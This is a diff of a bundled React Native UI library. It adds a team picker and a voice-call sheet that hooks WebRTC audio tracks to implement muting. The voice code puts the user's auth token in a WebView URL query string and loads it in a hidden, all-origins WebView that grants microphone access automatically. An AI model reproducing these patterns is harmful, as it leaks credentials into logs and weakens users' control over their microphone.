1815
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Pressable, { onPress: onClose, hitSlop: 12, style: styles11.closeBtn, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.closeIcon, children: "\u2715" }) }),
1816
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.title, numberOfLines: 1, children: title || "Widget" }),
1817
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { style: styles11.closeBtn })
1753
1818
  ] }),
1754
- !uri ? /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { style: styles11.errorWrap, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_react_native12.View, { style: styles11.errorWrap, children: [
1755
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "Couldn't load widget" }),
1756
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.Text, { style: styles11.errorSub, children: error })
1757
- ] }) : /* @__PURE__ */ (0, import_jsx_runtime12.jsxs)(import_jsx_runtime12.Fragment, { children: [
1758
- /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(
1819
+ !uri ? /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { style: styles11.errorWrap, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "No bundle available for this widget." }) }) : error ? /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_react_native12.View, { style: styles11.errorWrap, children: [
1820
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorText, children: "Couldn't load widget" }),
1821
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.Text, { style: styles11.errorSub, children: error })
1822
+ ] }) : /* @__PURE__ */ (0, import_jsx_runtime13.jsxs)(import_jsx_runtime13.Fragment, { children: [
1823
+ /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(
1759
1824
  import_react_native_webview2.WebView,
1760
1825
  {
1761
1826
  source: { uri },
@@ -1777,7 +1842,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1777
1842
  setSupportMultipleWindows: false
1778
1843
  }
1779
1844
  ),
1780
- loading && /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.View, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_react_native12.ActivityIndicator, { color: import_core12.ada.orange }) })
1845
+ loading && /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.View, { pointerEvents: "none", style: styles11.spinner, children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_react_native12.ActivityIndicator, { color: import_core13.ada.orange }) })
1781
1846
  ] })
1782
1847
  ] })
1783
1848
  }
@@ -1786,7 +1851,7 @@ function WidgetWebView({ visible, title, bundleUrl, onClose }) {
1786
1851
  var styles11 = import_react_native12.StyleSheet.create({
1787
1852
  root: {
1788
1853
  flex: 1,
1789
- backgroundColor: import_core12.ada.paper
1854
+ backgroundColor: import_core13.ada.paper
1790
1855
  },
1791
1856
  bar: {
1792
1857
  flexDirection: "row",
@@ -1794,8 +1859,8 @@ var styles11 = import_react_native12.StyleSheet.create({
1794
1859
  paddingHorizontal: 14,
1795
1860
  paddingVertical: 12,
1796
1861
  borderBottomWidth: 1,
1797
- borderBottomColor: import_core12.ada.border,
1798
- backgroundColor: import_core12.ada.paperSoft
1862
+ borderBottomColor: import_core13.ada.border,
1863
+ backgroundColor: import_core13.ada.paperSoft
1799
1864
  },
1800
1865
  closeBtn: {
1801
1866
  width: 32,
@@ -1805,7 +1870,7 @@ var styles11 = import_react_native12.StyleSheet.create({
1805
1870
  },
1806
1871
  closeIcon: {
1807
1872
  fontSize: 18,
1808
- color: import_core12.ada.ink,
1873
+ color: import_core13.ada.ink,
1809
1874
  fontWeight: "500"
1810
1875
  },
1811
1876
  title: {
@@ -1813,13 +1878,13 @@ var styles11 = import_react_native12.StyleSheet.create({
1813
1878
  textAlign: "center",
1814
1879
  fontSize: 16,
1815
1880
  fontWeight: "600",
1816
- color: import_core12.ada.ink,
1881
+ color: import_core13.ada.ink,
1817
1882
  fontFamily: fontFam4,
1818
1883
  letterSpacing: -0.2
1819
1884
  },
1820
1885
  web: {
1821
1886
  flex: 1,
1822
- backgroundColor: import_core12.ada.paper
1887
+ backgroundColor: import_core13.ada.paper
1823
1888
  },
1824
1889
  spinner: {
1825
1890
  position: "absolute",
@@ -1836,16 +1901,619 @@ var styles11 = import_react_native12.StyleSheet.create({
1836
1901
  },
1837
1902
  errorText: {
1838
1903
  fontSize: 15,
1839
- color: import_core12.ada.ink,
1904
+ color: import_core13.ada.ink,
1840
1905
  fontWeight: "600",
1841
1906
  marginBottom: 6
1842
1907
  },
1843
1908
  errorSub: {
1844
1909
  fontSize: 13,
1845
- color: import_core12.ada.inkMuted,
1910
+ color: import_core13.ada.inkMuted,
1846
1911
  textAlign: "center"
1847
1912
  }
1848
1913
  });
1914
+
1915
+ // src/TenantPicker.tsx
1916
+ var import_react11 = require("react");
1917
+ var import_react_native13 = require("react-native");
1918
+ var import_core15 = require("@ateam-ai-mobile/core");
1919
+ var import_jsx_runtime14 = require("react/jsx-runtime");
1920
+ var fontFam5 = import_react_native13.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
1921
+ function TenantPicker({ onSwitched, onSelect, currentTenantId }) {
1922
+ const [tenants, setTenants] = (0, import_react11.useState)(null);
1923
+ const [error, setError] = (0, import_react11.useState)(null);
1924
+ const [switching, setSwitching] = (0, import_react11.useState)(null);
1925
+ const active = currentTenantId ?? (0, import_core15.getTenant)();
1926
+ (0, import_react11.useEffect)(() => {
1927
+ let cancelled = false;
1928
+ (0, import_core15.listMyTenants)().then((list) => {
1929
+ if (!cancelled) setTenants(list);
1930
+ }).catch((e) => {
1931
+ if (!cancelled) setError(e?.message || "Failed to load teams");
1932
+ });
1933
+ return () => {
1934
+ cancelled = true;
1935
+ };
1936
+ }, []);
1937
+ const handlePress = async (t) => {
1938
+ if (t.id === active || switching) return;
1939
+ if (onSelect) {
1940
+ onSelect(t);
1941
+ return;
1942
+ }
1943
+ setError(null);
1944
+ setSwitching(t.id);
1945
+ try {
1946
+ const session = await (0, import_core15.switchTenant)(t.id);
1947
+ onSwitched?.(session);
1948
+ } catch (e) {
1949
+ setError(e?.message || "Could not switch team");
1950
+ } finally {
1951
+ setSwitching(null);
1952
+ }
1953
+ };
1954
+ if (error) return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.error, children: error });
1955
+ if (!tenants) {
1956
+ return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.loading, children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.ActivityIndicator, { color: import_core15.ada.orange }) });
1957
+ }
1958
+ if (tenants.length === 0) return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.empty, children: "No teams found for this account." });
1959
+ return /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.list, children: tenants.map((t) => {
1960
+ const isActive = t.id === active;
1961
+ const isSwitching = switching === t.id;
1962
+ return /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(
1963
+ import_react_native13.Pressable,
1964
+ {
1965
+ accessibilityRole: "button",
1966
+ accessibilityLabel: `Team ${t.name}${isActive ? ", current" : ""}`,
1967
+ disabled: !!switching,
1968
+ onPress: () => handlePress(t),
1969
+ style: [styles12.row, isActive && styles12.rowActive],
1970
+ children: [
1971
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.View, { style: styles12.dot }),
1972
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsxs)(import_react_native13.View, { style: styles12.rowText, children: [
1973
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.name, children: t.name }),
1974
+ /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.slug, children: t.id })
1975
+ ] }),
1976
+ isSwitching ? /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.ActivityIndicator, { color: import_core15.ada.orange }) : isActive ? /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_react_native13.Text, { style: styles12.check, children: "\u2713" }) : null
1977
+ ]
1978
+ },
1979
+ t.id
1980
+ );
1981
+ }) });
1982
+ }
1983
+ var styles12 = import_react_native13.StyleSheet.create({
1984
+ list: {
1985
+ gap: 10
1986
+ },
1987
+ row: {
1988
+ flexDirection: "row",
1989
+ alignItems: "center",
1990
+ gap: 12,
1991
+ backgroundColor: import_core15.ada.paperSoft,
1992
+ borderRadius: import_core15.borderRadius.lg,
1993
+ borderWidth: 1,
1994
+ borderColor: "transparent",
1995
+ paddingHorizontal: 16,
1996
+ paddingVertical: 14
1997
+ },
1998
+ rowActive: {
1999
+ backgroundColor: import_core15.ada.orangeSoft,
2000
+ borderColor: import_core15.ada.orange
2001
+ },
2002
+ dot: {
2003
+ width: 10,
2004
+ height: 10,
2005
+ borderRadius: 5,
2006
+ backgroundColor: import_core15.ada.orange
2007
+ },
2008
+ rowText: {
2009
+ flex: 1
2010
+ },
2011
+ name: {
2012
+ color: import_core15.ada.ink,
2013
+ fontSize: import_core15.fontSize.lg,
2014
+ fontWeight: "600",
2015
+ fontFamily: fontFam5
2016
+ },
2017
+ slug: {
2018
+ color: import_core15.ada.inkMuted,
2019
+ fontSize: import_core15.fontSize.sm,
2020
+ fontFamily: "monospace"
2021
+ },
2022
+ check: {
2023
+ color: import_core15.ada.orangeDeep,
2024
+ fontSize: import_core15.fontSize.lg,
2025
+ fontWeight: "700"
2026
+ },
2027
+ loading: {
2028
+ paddingVertical: 24,
2029
+ alignItems: "center"
2030
+ },
2031
+ empty: {
2032
+ color: import_core15.ada.inkMuted,
2033
+ fontSize: import_core15.fontSize.md,
2034
+ textAlign: "center",
2035
+ paddingVertical: 16
2036
+ },
2037
+ error: {
2038
+ color: "#C15545",
2039
+ fontSize: import_core15.fontSize.md,
2040
+ textAlign: "center",
2041
+ paddingVertical: 16
2042
+ }
2043
+ });
2044
+
2045
+ // src/voice/VoiceCallSheet.tsx
2046
+ var import_react13 = require("react");
2047
+ var import_react_native14 = require("react-native");
2048
+ var import_react_native_svg2 = __toESM(require("react-native-svg"));
2049
+ var import_react_native_webview3 = require("react-native-webview");
2050
+ var import_core17 = require("@ateam-ai-mobile/core");
2051
+ var import_plugin_runtime9 = require("@ateam-ai-mobile/plugin-runtime");
2052
+
2053
+ // src/voice/useVoiceCall.ts
2054
+ var import_react12 = require("react");
2055
+ var import_core16 = require("@ateam-ai-mobile/core");
2056
+ var INJECT_TRACK_HOOK = `
2057
+ (function() {
2058
+ if (window._adaTrackHookInstalled) return;
2059
+ window._adaTrackHookInstalled = true;
2060
+ window._allAudioTracks = [];
2061
+ window._adaPeerConnections = [];
2062
+
2063
+ function track(t) {
2064
+ if (t && t.kind === 'audio' && window._allAudioTracks.indexOf(t) === -1) {
2065
+ window._allAudioTracks.push(t);
2066
+ }
2067
+ }
2068
+
2069
+ // 1) Hook getUserMedia \u2014 captures mic streams at request time.
2070
+ try {
2071
+ if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {
2072
+ const origGUM = navigator.mediaDevices.getUserMedia.bind(navigator.mediaDevices);
2073
+ navigator.mediaDevices.getUserMedia = async function(constraints) {
2074
+ const stream = await origGUM(constraints);
2075
+ if (constraints && constraints.audio) {
2076
+ try { stream.getAudioTracks().forEach(track); } catch (e) {}
2077
+ }
2078
+ return stream;
2079
+ };
2080
+ }
2081
+ } catch (e) {}
2082
+
2083
+ // 2) Hook RTCPeerConnection.addTrack \u2014 catches whatever the app sends.
2084
+ try {
2085
+ if (window.RTCPeerConnection) {
2086
+ const origPC = window.RTCPeerConnection;
2087
+ const origAddTrack = origPC.prototype.addTrack;
2088
+ const origAddStream = origPC.prototype.addStream;
2089
+ const origAddTransceiver = origPC.prototype.addTransceiver;
2090
+
2091
+ origPC.prototype.addTrack = function(t) {
2092
+ if (t && t.kind === 'audio') track(t);
2093
+ return origAddTrack.apply(this, arguments);
2094
+ };
2095
+ if (origAddStream) {
2096
+ origPC.prototype.addStream = function(stream) {
2097
+ try { stream.getAudioTracks().forEach(track); } catch (e) {}
2098
+ return origAddStream.apply(this, arguments);
2099
+ };
2100
+ }
2101
+ if (origAddTransceiver) {
2102
+ origPC.prototype.addTransceiver = function(arg) {
2103
+ if (arg && arg.kind === 'audio') {
2104
+ // Transceiver created with kind 'audio' \u2014 sender track set later.
2105
+ } else if (arg && arg.kind === undefined && arg.track && arg.track.kind === 'audio') {
2106
+ track(arg.track);
2107
+ }
2108
+ const tx = origAddTransceiver.apply(this, arguments);
2109
+ try {
2110
+ if (tx && tx.sender && tx.sender.track && tx.sender.track.kind === 'audio') track(tx.sender.track);
2111
+ } catch (e) {}
2112
+ return tx;
2113
+ };
2114
+ }
2115
+ }
2116
+ } catch (e) {}
2117
+
2118
+ // 3) Helper exposed for direct calls.
2119
+ window._adaSetMuted = function(muted) {
2120
+ let n = 0;
2121
+ if (Array.isArray(window._allAudioTracks)) {
2122
+ window._allAudioTracks.forEach(function(t) {
2123
+ try { t.enabled = !muted; n++; } catch (e) {}
2124
+ });
2125
+ }
2126
+ return n;
2127
+ };
2128
+ })(); true;
2129
+ `;
2130
+ var buildMuteScript = (muted) => `
2131
+ (function(muted) {
2132
+ if (typeof window.setMuted === 'function') { window.setMuted(muted); }
2133
+ let n = 0;
2134
+ if (typeof window._adaSetMuted === 'function') {
2135
+ n = window._adaSetMuted(muted);
2136
+ }
2137
+ // Last-resort scan if hook somehow missed.
2138
+ if (n === 0 && Array.isArray(window._allAudioTracks)) {
2139
+ window._allAudioTracks.forEach(function(t) {
2140
+ try { t.enabled = !muted; n++; } catch (e) {}
2141
+ });
2142
+ }
2143
+ console.log('[ada-mute]', muted ? 'MUTED' : 'UNMUTED', 'tracks=', n);
2144
+ })(${muted}); true;
2145
+ `;
2146
+ function useVoiceCall() {
2147
+ const [callState, setCallState] = (0, import_react12.useState)("idle");
2148
+ const [sessionId, setSessionId] = (0, import_react12.useState)(null);
2149
+ const [error, setError] = (0, import_react12.useState)(null);
2150
+ const [transcript, setTranscript] = (0, import_react12.useState)([]);
2151
+ const [aiPartial, setAiPartial] = (0, import_react12.useState)("");
2152
+ const [userPartial, setUserPartial] = (0, import_react12.useState)("");
2153
+ const [muted, setMuted] = (0, import_react12.useState)(false);
2154
+ const webViewRef = (0, import_react12.useRef)(null);
2155
+ const handleWebViewMessage = (0, import_react12.useCallback)((event) => {
2156
+ try {
2157
+ const data = JSON.parse(event.nativeEvent.data);
2158
+ console.log("[VoiceWebView] message:", data.type, data.text?.slice?.(0, 50) || data.state || "");
2159
+ switch (data.type) {
2160
+ case "callState":
2161
+ case "call-state":
2162
+ setCallState(data.state);
2163
+ if (data.sessionId) setSessionId(data.sessionId);
2164
+ if (data.error) setError(data.error);
2165
+ break;
2166
+ case "transcript":
2167
+ setTranscript((prev) => [...prev, { role: data.role, text: data.text, ts: Date.now() }]);
2168
+ break;
2169
+ case "aiPartial":
2170
+ setAiPartial(data.text);
2171
+ break;
2172
+ case "userPartial":
2173
+ setUserPartial(data.text);
2174
+ break;
2175
+ case "clearPartials":
2176
+ setAiPartial("");
2177
+ setUserPartial("");
2178
+ break;
2179
+ case "error":
2180
+ setError(data.message);
2181
+ setCallState("error");
2182
+ break;
2183
+ }
2184
+ } catch {
2185
+ }
2186
+ }, []);
2187
+ const startCall = (0, import_react12.useCallback)(() => {
2188
+ setCallState("connecting");
2189
+ setError(null);
2190
+ setTranscript([]);
2191
+ setAiPartial("");
2192
+ setUserPartial("");
2193
+ }, []);
2194
+ const stopCall = (0, import_react12.useCallback)(() => {
2195
+ webViewRef.current?.injectJavaScript?.("window.hangUp && window.hangUp(); true;");
2196
+ setCallState("idle");
2197
+ setAiPartial("");
2198
+ setUserPartial("");
2199
+ setMuted(false);
2200
+ }, []);
2201
+ const toggleMute = (0, import_react12.useCallback)(() => {
2202
+ setMuted((prev) => {
2203
+ const next = !prev;
2204
+ webViewRef.current?.injectJavaScript?.(buildMuteScript(next));
2205
+ return next;
2206
+ });
2207
+ }, []);
2208
+ const getWebViewSource = (0, import_react12.useCallback)(() => {
2209
+ const token = (0, import_core16.getToken)();
2210
+ const tenant = (0, import_core16.getTenant)();
2211
+ const actorId = (0, import_core16.getUser)()?.actorId || "";
2212
+ return {
2213
+ uri: `${(0, import_core16.getVoiceApiUrl)()}/app?mode=mini&embedded=rn&authToken=${encodeURIComponent(token || "")}&tenant=${encodeURIComponent(tenant)}&actorId=${encodeURIComponent(actorId)}`
2214
+ };
2215
+ }, []);
2216
+ return {
2217
+ callState,
2218
+ sessionId,
2219
+ error,
2220
+ transcript,
2221
+ aiPartial,
2222
+ userPartial,
2223
+ muted,
2224
+ startCall,
2225
+ stopCall,
2226
+ toggleMute,
2227
+ handleWebViewMessage,
2228
+ getWebViewSource,
2229
+ webViewRef,
2230
+ injectedTrackHook: INJECT_TRACK_HOOK
2231
+ };
2232
+ }
2233
+
2234
+ // src/voice/VoiceCallSheet.tsx
2235
+ var import_jsx_runtime15 = require("react/jsx-runtime");
2236
+ var fontFam6 = import_react_native14.Platform.OS === "ios" ? "SF Pro Rounded" : void 0;
2237
+ var HIGHLIGHT_PATTERNS = [
2238
+ /[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}/g,
2239
+ /(?:\+?\d[\s\-().]?){7,}\d/g,
2240
+ /\$\d[\d,]*(?:\.\d{1,2})?/g,
2241
+ /\b\d{1,2}:\d{2}\s?(?:am|pm|AM|PM)?\b/g,
2242
+ /\bhttps?:\/\/\S+/g,
2243
+ /\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/g
2244
+ ];
2245
+ function highlightSegments(text) {
2246
+ const ranges = [];
2247
+ for (const p of HIGHLIGHT_PATTERNS) {
2248
+ p.lastIndex = 0;
2249
+ let m;
2250
+ while ((m = p.exec(text)) !== null) {
2251
+ ranges.push([m.index, m.index + m[0].length]);
2252
+ }
2253
+ }
2254
+ if (!ranges.length) return [{ text, important: false }];
2255
+ ranges.sort((a, b) => a[0] - b[0]);
2256
+ const merged = [];
2257
+ for (const r of ranges) {
2258
+ if (merged.length && r[0] <= merged[merged.length - 1][1]) {
2259
+ merged[merged.length - 1][1] = Math.max(merged[merged.length - 1][1], r[1]);
2260
+ } else {
2261
+ merged.push([r[0], r[1]]);
2262
+ }
2263
+ }
2264
+ const segments = [];
2265
+ let cursor = 0;
2266
+ for (const [start, end] of merged) {
2267
+ if (start > cursor) segments.push({ text: text.slice(cursor, start), important: false });
2268
+ segments.push({ text: text.slice(start, end), important: true });
2269
+ cursor = end;
2270
+ }
2271
+ if (cursor < text.length) segments.push({ text: text.slice(cursor), important: false });
2272
+ return segments;
2273
+ }
2274
+ function HighlightedText({
2275
+ text,
2276
+ baseStyle,
2277
+ importantStyle
2278
+ }) {
2279
+ const segments = (0, import_react13.useMemo)(() => highlightSegments(text), [text]);
2280
+ return /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: baseStyle, children: segments.map((seg, i) => /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: seg.important ? importantStyle : void 0, children: seg.text }, i)) });
2281
+ }
2282
+ function VoiceCallSheet({ visible, onClose }) {
2283
+ const {
2284
+ callState,
2285
+ aiPartial,
2286
+ userPartial,
2287
+ transcript,
2288
+ error,
2289
+ muted,
2290
+ startCall,
2291
+ stopCall,
2292
+ toggleMute,
2293
+ handleWebViewMessage,
2294
+ getWebViewSource,
2295
+ webViewRef,
2296
+ injectedTrackHook
2297
+ } = useVoiceCall();
2298
+ const scrollRef = (0, import_react13.useRef)(null);
2299
+ (0, import_react13.useEffect)(() => {
2300
+ if (visible && callState === "idle") startCall();
2301
+ }, [visible]);
2302
+ (0, import_react13.useEffect)(() => {
2303
+ scrollRef.current?.scrollToEnd?.({ animated: true });
2304
+ }, [transcript.length, aiPartial, userPartial]);
2305
+ const handleHangUp = () => {
2306
+ stopCall();
2307
+ onClose();
2308
+ };
2309
+ const orbState = (0, import_react13.useMemo)(() => {
2310
+ if (callState === "connecting") return "thinking";
2311
+ if (callState === "error") return "idle";
2312
+ if (aiPartial) return "speaking";
2313
+ if (userPartial) return "listening";
2314
+ return "idle";
2315
+ }, [callState, aiPartial, userPartial]);
2316
+ const statusLabel = (0, import_react13.useMemo)(() => {
2317
+ if (callState === "connecting") return "Connecting\u2026";
2318
+ if (callState === "error") return error || "Couldn\u2019t connect";
2319
+ if (aiPartial) return "Ada is speaking";
2320
+ if (userPartial) return "Listening";
2321
+ if (callState === "connected") return "Go ahead, I\u2019m here.";
2322
+ return "";
2323
+ }, [callState, aiPartial, userPartial, error]);
2324
+ if (!visible) return null;
2325
+ const visibleEntries = transcript.filter((e) => e.role === "user" || e.role === "ai");
2326
+ return /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
2327
+ import_plugin_runtime9.SurfaceFullscreen,
2328
+ {
2329
+ visible,
2330
+ onClose: handleHangUp,
2331
+ status: statusLabel,
2332
+ hero: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_plugin_runtime9.AdaOrb, { size: 180, state: orbState }),
2333
+ closeIcon: "hangup",
2334
+ closeLabel: "End",
2335
+ children: [
2336
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(
2337
+ import_react_native14.ScrollView,
2338
+ {
2339
+ ref: scrollRef,
2340
+ style: styles13.transcript,
2341
+ contentContainerStyle: styles13.transcriptContent,
2342
+ showsVerticalScrollIndicator: false,
2343
+ children: [
2344
+ callState === "error" && error ? /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.View, { style: styles13.errorBox, children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.errorText, children: error }) }) : null,
2345
+ visibleEntries.map((entry, i) => /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.entry, children: [
2346
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.role, children: entry.role === "user" ? "YOU" : "ADA" }),
2347
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2348
+ HighlightedText,
2349
+ {
2350
+ text: entry.text,
2351
+ baseStyle: styles13.entryText,
2352
+ importantStyle: styles13.important
2353
+ }
2354
+ )
2355
+ ] }, `${entry.ts}-${i}`)),
2356
+ userPartial || aiPartial ? /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.entry, children: [
2357
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.role, children: userPartial ? "YOU" : "ADA" }),
2358
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2359
+ HighlightedText,
2360
+ {
2361
+ text: userPartial || aiPartial,
2362
+ baseStyle: styles13.entryTextLive,
2363
+ importantStyle: styles13.important
2364
+ }
2365
+ )
2366
+ ] }) : null
2367
+ ]
2368
+ }
2369
+ ),
2370
+ callState === "connected" || callState === "connecting" ? /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native14.View, { style: styles13.muteWrap, pointerEvents: "box-none", children: [
2371
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2372
+ import_react_native14.Pressable,
2373
+ {
2374
+ onPress: toggleMute,
2375
+ accessibilityRole: "button",
2376
+ accessibilityLabel: muted ? "Unmute microphone" : "Mute microphone",
2377
+ accessibilityState: { selected: muted },
2378
+ style: [styles13.muteBtn, muted && styles13.muteBtnActive],
2379
+ hitSlop: 12,
2380
+ children: /* @__PURE__ */ (0, import_jsx_runtime15.jsxs)(import_react_native_svg2.default, { width: 22, height: 22, viewBox: "0 0 24 24", fill: "none", stroke: muted ? import_core17.ada.paper : import_core17.ada.ink, strokeWidth: 2, strokeLinecap: "round", strokeLinejoin: "round", children: [
2381
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Path, { d: "M12 1a3 3 0 0 0-3 3v8a3 3 0 0 0 6 0V4a3 3 0 0 0-3-3z" }),
2382
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Path, { d: "M19 10v2a7 7 0 0 1-14 0v-2" }),
2383
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "12", y1: "19", x2: "12", y2: "23" }),
2384
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "8", y1: "23", x2: "16", y2: "23" }),
2385
+ muted ? /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native_svg2.Line, { x1: "3", y1: "3", x2: "21", y2: "21", stroke: import_core17.ada.paper, strokeWidth: 2.4 }) : null
2386
+ ] })
2387
+ }
2388
+ ),
2389
+ /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.Text, { style: styles13.muteLabel, children: muted ? "Muted" : "Mute" })
2390
+ ] }) : null,
2391
+ callState !== "idle" && /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_react_native14.View, { style: styles13.hiddenWebView, pointerEvents: "none", children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(
2392
+ import_react_native_webview3.WebView,
2393
+ {
2394
+ ref: webViewRef,
2395
+ source: getWebViewSource(),
2396
+ style: { flex: 1, backgroundColor: "transparent" },
2397
+ onMessage: handleWebViewMessage,
2398
+ onError: (e) => console.log("[VoiceWebView] error:", e.nativeEvent?.description),
2399
+ injectedJavaScriptBeforeContentLoaded: injectedTrackHook,
2400
+ mediaPlaybackRequiresUserAction: false,
2401
+ allowsInlineMediaPlayback: true,
2402
+ mediaCapturePermissionGrantType: "grant",
2403
+ javaScriptEnabled: true,
2404
+ originWhitelist: ["*"]
2405
+ }
2406
+ ) })
2407
+ ]
2408
+ }
2409
+ );
2410
+ }
2411
+ var styles13 = import_react_native14.StyleSheet.create({
2412
+ transcript: {
2413
+ flex: 1,
2414
+ paddingHorizontal: 28
2415
+ },
2416
+ transcriptContent: {
2417
+ paddingTop: 8,
2418
+ paddingBottom: 16,
2419
+ gap: 14
2420
+ },
2421
+ entry: {
2422
+ flexDirection: "row",
2423
+ gap: 10,
2424
+ alignItems: "flex-start"
2425
+ },
2426
+ role: {
2427
+ fontSize: 10,
2428
+ fontFamily: fontFam6,
2429
+ fontWeight: "700",
2430
+ color: import_core17.ada.inkMuted,
2431
+ letterSpacing: 1.4,
2432
+ minWidth: 32,
2433
+ paddingTop: 3,
2434
+ opacity: 0.55
2435
+ },
2436
+ entryText: {
2437
+ flex: 1,
2438
+ fontSize: 14,
2439
+ fontFamily: fontFam6,
2440
+ fontWeight: "400",
2441
+ color: import_core17.ada.inkSoft,
2442
+ lineHeight: 20,
2443
+ letterSpacing: -0.1,
2444
+ opacity: 0.42
2445
+ },
2446
+ entryTextLive: {
2447
+ flex: 1,
2448
+ fontSize: 14,
2449
+ fontFamily: fontFam6,
2450
+ fontWeight: "400",
2451
+ color: import_core17.ada.inkSoft,
2452
+ lineHeight: 20,
2453
+ letterSpacing: -0.1,
2454
+ opacity: 0.7
2455
+ },
2456
+ important: {
2457
+ fontSize: 17,
2458
+ fontFamily: fontFam6,
2459
+ fontWeight: "700",
2460
+ color: import_core17.ada.ink,
2461
+ letterSpacing: -0.1,
2462
+ opacity: 1
2463
+ },
2464
+ errorBox: {
2465
+ backgroundColor: "rgba(239,68,68,0.12)",
2466
+ borderColor: "rgba(239,68,68,0.45)",
2467
+ borderWidth: 1,
2468
+ borderRadius: 10,
2469
+ paddingVertical: 10,
2470
+ paddingHorizontal: 14,
2471
+ marginBottom: 12
2472
+ },
2473
+ errorText: {
2474
+ fontSize: 13,
2475
+ fontFamily: fontFam6,
2476
+ fontWeight: "500",
2477
+ color: "#fca5a5",
2478
+ lineHeight: 18
2479
+ },
2480
+ muteWrap: {
2481
+ position: "absolute",
2482
+ bottom: import_react_native14.Platform.OS === "ios" ? 56 : 40,
2483
+ left: 28,
2484
+ alignItems: "center",
2485
+ gap: 6
2486
+ },
2487
+ muteBtn: {
2488
+ width: 56,
2489
+ height: 56,
2490
+ borderRadius: 28,
2491
+ backgroundColor: import_core17.ada.paperSoft,
2492
+ borderWidth: 1,
2493
+ borderColor: import_core17.ada.border,
2494
+ justifyContent: "center",
2495
+ alignItems: "center"
2496
+ },
2497
+ muteBtnActive: {
2498
+ backgroundColor: "#C15545",
2499
+ borderColor: "#C15545"
2500
+ },
2501
+ muteLabel: {
2502
+ fontSize: 12,
2503
+ fontFamily: fontFam6,
2504
+ fontWeight: "500",
2505
+ color: import_core17.ada.inkMuted,
2506
+ letterSpacing: 0.3
2507
+ },
2508
+ hiddenWebView: {
2509
+ position: "absolute",
2510
+ width: 1,
2511
+ height: 1,
2512
+ top: -100,
2513
+ left: -100,
2514
+ opacity: 0
2515
+ }
2516
+ });
1849
2517
  // Annotate the CommonJS export names for ESM import in node:
1850
2518
  0 && (module.exports = {
1851
2519
  AdasChatScreen,
